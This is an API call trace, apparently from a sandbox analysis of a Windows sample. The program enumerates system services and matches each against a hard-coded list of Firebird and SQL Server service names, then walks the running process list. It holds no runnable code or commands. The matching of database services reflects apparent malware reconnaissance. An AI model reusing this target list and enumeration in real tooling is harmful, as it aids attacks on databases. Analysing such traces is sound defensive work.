	[0048.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0048.472] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0048.472] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0048.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0048.472] lstrlenW (lpString="Audiosrv") returned 8
	[0048.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0048.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0048.472] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0048.472] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0048.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0048.472] lstrlenW (lpString="BFE") returned 3
	[0048.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0048.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0048.473] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0048.473] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0048.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0048.473] lstrlenW (lpString="BITS") returned 4
	[0048.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0048.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0048.473] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0048.473] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0048.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0048.473] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0048.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0048.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0048.473] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0048.473] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0048.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0048.473] lstrlenW (lpString="CDPSvc") returned 6
	[0048.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0048.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0048.473] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0048.473] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0048.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0048.473] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0048.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0048.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0048.473] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0048.473] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0048.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0048.473] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0048.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0048.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0048.474] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0048.474] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0048.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0048.474] lstrlenW (lpString="CryptSvc") returned 8
	[0048.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0048.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0048.474] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0048.474] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0048.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0048.474] lstrlenW (lpString="DcomLaunch") returned 10
	[0048.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0048.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0048.474] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0048.474] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0048.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0048.474] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0048.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0048.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0048.474] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0048.474] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0048.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0048.474] lstrlenW (lpString="Dhcp") returned 4
	[0048.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0048.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0048.474] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0048.474] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0048.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0048.474] lstrlenW (lpString="Dnscache") returned 8
	[0048.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0048.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0048.475] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0048.475] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0048.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0048.475] lstrlenW (lpString="DoSvc") returned 5
	[0048.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0048.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0048.475] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0048.475] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0048.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0048.475] lstrlenW (lpString="DPS") returned 3
	[0048.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0048.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0048.475] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0048.475] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0048.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0048.475] lstrlenW (lpString="DusmSvc") returned 7
	[0048.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0048.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0048.475] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0048.475] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0048.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0048.475] lstrlenW (lpString="EventLog") returned 8
	[0048.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0048.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0048.475] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0048.475] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0048.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0048.476] lstrlenW (lpString="EventSystem") returned 11
	[0048.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0048.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0048.476] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0048.476] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0048.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0048.476] lstrlenW (lpString="FontCache") returned 9
	[0048.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0048.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0048.476] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0048.476] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0048.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0048.476] lstrlenW (lpString="gpsvc") returned 5
	[0048.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0048.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0048.476] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0048.476] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0048.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0048.476] lstrlenW (lpString="iphlpsvc") returned 8
	[0048.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0048.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0048.476] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0048.476] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0048.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0048.476] lstrlenW (lpString="KeyIso") returned 6
	[0048.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0048.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0048.476] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0048.476] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0048.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0048.477] lstrlenW (lpString="LanmanServer") returned 12
	[0048.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0048.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0048.477] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0048.477] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0048.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0048.477] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0048.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0048.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0048.477] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0048.477] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0048.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0048.477] lstrlenW (lpString="lfsvc") returned 5
	[0048.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0048.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0048.477] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0048.477] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0048.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0048.477] lstrlenW (lpString="lmhosts") returned 7
	[0048.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0048.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0048.477] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0048.477] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0048.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0048.477] lstrlenW (lpString="LSM") returned 3
	[0048.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0048.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0048.477] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0048.478] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0048.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0048.478] lstrlenW (lpString="MpsSvc") returned 6
	[0048.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0048.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0048.478] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0048.478] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0048.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0048.478] lstrlenW (lpString="NcbService") returned 10
	[0048.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0048.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0048.478] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0048.478] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0048.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0048.478] lstrlenW (lpString="netprofm") returned 8
	[0048.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0048.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0048.478] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0048.478] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0048.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0048.478] lstrlenW (lpString="NlaSvc") returned 6
	[0048.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0048.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0048.478] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0048.478] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0048.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0048.478] lstrlenW (lpString="nsi") returned 3
	[0048.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0048.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0048.479] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0048.479] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0048.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0048.479] lstrlenW (lpString="PcaSvc") returned 6
	[0048.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0048.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0048.479] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0048.479] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0048.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0048.479] lstrlenW (lpString="PlugPlay") returned 8
	[0048.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0048.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0048.479] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0048.479] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0048.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0048.479] lstrlenW (lpString="Power") returned 5
	[0048.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0048.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0048.479] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0048.479] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0048.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0048.479] lstrlenW (lpString="ProfSvc") returned 7
	[0048.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0048.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0048.479] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0048.479] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0048.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0048.479] lstrlenW (lpString="RpcEptMapper") returned 12
	[0048.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0048.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0048.480] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0048.480] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0048.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0048.671] lstrlenW (lpString="RpcSs") returned 5
	[0048.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0048.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0048.671] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0048.671] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0048.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0048.671] lstrlenW (lpString="SamSs") returned 5
	[0048.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0048.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0048.671] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0048.671] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0048.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0048.671] lstrlenW (lpString="Schedule") returned 8
	[0048.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0048.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0048.671] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0048.671] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0048.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0048.671] lstrlenW (lpString="SecurityHealthService") returned 21
	[0048.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0048.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0048.671] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0048.671] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0048.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0048.671] lstrlenW (lpString="SENS") returned 4
	[0048.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0048.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0048.672] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0048.672] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0048.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0048.672] lstrlenW (lpString="ShellHWDetection") returned 16
	[0048.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0048.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0048.672] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0048.672] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0048.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0048.672] lstrlenW (lpString="Spooler") returned 7
	[0048.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0048.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0048.672] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0048.672] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0048.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0048.672] lstrlenW (lpString="SSDPSRV") returned 7
	[0048.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0048.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0048.672] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0048.672] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0048.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0048.672] lstrlenW (lpString="StateRepository") returned 15
	[0048.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0048.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0048.672] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0048.672] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0048.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0048.672] lstrlenW (lpString="SysMain") returned 7
	[0048.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0048.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0048.672] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0048.672] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0048.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0048.672] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0048.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0048.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0048.673] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0048.673] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0048.673] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x3bfae80 | out: hHeap=0x650000) returned 1
	[0048.673] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f4
	[0048.677] Process32FirstW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0048.677] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0048.678] lstrlenW (lpString="System") returned 6
	[0048.678] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0048.679] lstrlenW (lpString="smss.exe") returned 8
	[0048.679] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0048.680] lstrlenW (lpString="csrss.exe") returned 9
	[0048.680] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0048.680] lstrlenW (lpString="wininit.exe") returned 11
	[0048.680] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0048.681] lstrlenW (lpString="csrss.exe") returned 9
	[0048.681] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0048.682] lstrlenW (lpString="winlogon.exe") returned 12
	[0048.682] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0048.682] lstrlenW (lpString="services.exe") returned 12
	[0048.682] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0048.683] lstrlenW (lpString="lsass.exe") returned 9
